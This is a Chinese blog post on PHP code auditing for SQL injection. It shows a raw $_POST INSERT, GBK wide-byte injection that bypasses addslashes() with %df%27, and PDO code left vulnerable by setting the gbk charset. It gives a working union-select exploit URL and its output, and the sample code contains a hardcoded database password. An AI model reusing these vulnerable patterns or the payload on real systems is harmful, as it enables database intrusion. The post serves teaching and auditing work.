php审计基础一:sql注入

原创 2016年08月29日 11:08:28

【1】普通sql注入:

$sql = "INSERT INTO books(bookname, publisher, author, price, ptime,pic,detail) VALUES('{$_POST["bookname"]}', '{$_POST["publisher"]}', '{$_POST["author"]}', '{$_POST["price"]}', '".time()."', '{$up[1]}', '{$_POST["detail"]}')";

$result = mysql_query($sql);

if($result && mysql_affected_rows() > 0 ) {
	echo "插入一条数据成功!";
}else {
	echo "数据录入失败!";
}

直接将传入的参数不加过滤进入到数据库中


2】宽字符注入:

条件

mysql建表时,将表的字符集设置成gbk时(defaultcharset=gbk)

且当在php连接数据库时将数据库的字符集设置成(mysql_query("setcharacter_set_client=gbk");


(1)可利用%df%27绕过addslashes()这个函数

(2)可绕过pdoquote()这个函数

3pdo的也被绕过:

第一种写法

<?php
header("Content-type:text/html;charset=utf-8");  
try {
    $pdo = new PDO("mysql:host=localhost;dbname=test","root","niexinming132"); 
} catch (Exception $ex) {
    echo "连接失败";
}
echo "连接成功";

$pdo->query("set character_set_client=gbk");
$id=$_GET["id"];
$query="select * from myuser where id=?";
echo $query;
echo "<br>";
$stmt=$pdo->prepare($query);

$pdostat=$stmt->execute(array($id));
foreach ($stmt->fetchAll(PDO::FETCH_ASSOC) as $row)
{
    foreach ($row as $data)
    {
        echo $data."        ";
    }
    echo "<br>";
}

第二种写法:

<?php
header("Content-type:text/html;charset=utf-8");  
try {
    $pdo = new PDO("mysql:host=localhost;dbname=test","root","niexinming132"); 
} catch (Exception $ex) {
    echo "连接失败";
}
echo "连接成功";

$pdo->query("set character_set_client=gbk");
$id=$_GET["id"];
$query="select * from myuser where id=:id";
echo $query;
echo "<br>";
$stmt=$pdo->prepare($query);
$pdostat=$stmt->execute(array("id"=>$id));
foreach ($stmt->fetchAll(PDO::FETCH_ASSOC) as $row)
{
    foreach ($row as $data)
    {
        echo $data."        ";
    }
    echo "<br>";
    echo "执行完毕";
    var_dump($pdo->errorInfo());
}

利用:

http://localhost:8000/gbksql2.php?id=-1%df%27%20union%20select%201,version(),user(),4%20%23

显示:

连接成功select* from myuser where id=:id
1 5.5.50-0ubuntu0.14.04.1-logroot@localhost 4
执行完毕


版权声明:本文为博主原创文章,未经博主允许不得转载。

相关文章推荐

php审计基础二:命令执行

system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open(),`` 这些命令执行的例子很平常就不说了 ...

实战Linux Bluetooth编程(二) BlueZ简介

作者: Sam(甄峰)  sam_code@hotmail.com   Linux下Bluetooth协议栈的实现.Linux下开放的蓝牙协议栈主要包括IBM公司的BlueDrekar,Nokia...

php代码审计基础补习第二课

  • 2016年05月25日 18:22
  • 7.33MB
  • 下载

php代码审计基础补习

  • 2016年05月25日 18:20
  • 8.68MB
  • 下载

关于espcms的sql注入漏洞代码审计复现

一个关于espcms注入漏洞的代码审计过程复现

php代码审计

  • 2016年03月28日 02:00
  • 1.79MB
  • 下载

Seay PHP代码审计工具 V2.0.3源码

  • 2012年10月14日 17:26
  • 2.88MB
  • 下载

PHP自动化白盒审计技术与实现

0x00 前言 国内公开的PHP自动化审计技术资料较少,相比之下,国外已经出现了比较优秀的自动化审计实现,比如RIPS是基于token流为基础进行一系列的代码分析。传统静态分析技术如数据流分析、污染...

PHP Fuzzing行动——源码审计

  • 2011年09月11日 23:04
  • 534KB
  • 下载

PHP代码审计工具2012终结版

  • 2015年04月28日 05:25
  • 507KB
  • 下载
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:php审计基础一:sql注入
举报原因:
原因补充:

(最多只允许输入30个字)